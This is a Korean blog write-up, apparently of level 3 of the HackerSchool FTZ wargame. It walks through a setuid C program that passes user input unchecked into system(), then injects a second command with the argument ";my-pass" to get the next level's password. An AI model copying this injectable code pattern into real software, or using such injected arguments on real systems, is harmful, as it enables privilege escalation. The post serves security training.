시스템 해킹

HackerSchool FTZ - 3

taktaks 2024. 5. 23. 11:01

id

level3

passwd

can you fly?

 

 

 

 

ls

cat hint

 

-------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }

    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");

    system( cmd );

}

--------------------------------------------------------
소스코드이다.

힌트1 동시에 여러 명령어를 사용하려면?
; 를 사용하여 동시에 여러 명령어를 사용할 수 있다.
힌트 2 문자열 형태로 명령어를 전달하려면?

 큰따옴포"" 를 사용한다
작은따옴표''를 사용한다

 

 


 if( argc!=2){...}
argc 인자값이 2가 아니면  Auto Digger Version 0.9~~를 출력함
  

 strcpy( cmd, "dig @" );
  cmd에 "dig @"를 복사
 dig는  DNS 정보 확인 명령어

 

strcat( cmd, argv[1] );

 입력한 문자열 (argv[1])을 이어붙임

 

strcat( cmd, " version.bind chaos txt");
" version.bind chaos txt"를 cmd에 이어붙임
strcpy : 문자열 복사
strcat : 문자열 이어붙이기

 

system( cmd );
cmd 문자열 실행

"dig @(입력한 문자열) version.bind chaos txt"
 즉, 입력한 문자열 부분에서 첫 번째 입력값은 dig 명령어의
 파라미터로 들어가게 되므로,

 

"(dig파라미터);(실행명령어)"

정답은 " ;my-pass "를 입력하여야 한다.

 

 

일단

level 4에서 해당 파일이 있는지 찾아보자

 

find / -user level4 -perm -4300 2>/dev/null

 

cd /bin

./autodig

 

큰따옴표또는 작은 따옴표와 ; 를 사용한다.

./autodig ";my-pass"

level4 의 my-pass로 패스워드를 확인하는것

level 4의

suck my brain

이라는 패스워드를 획득했다.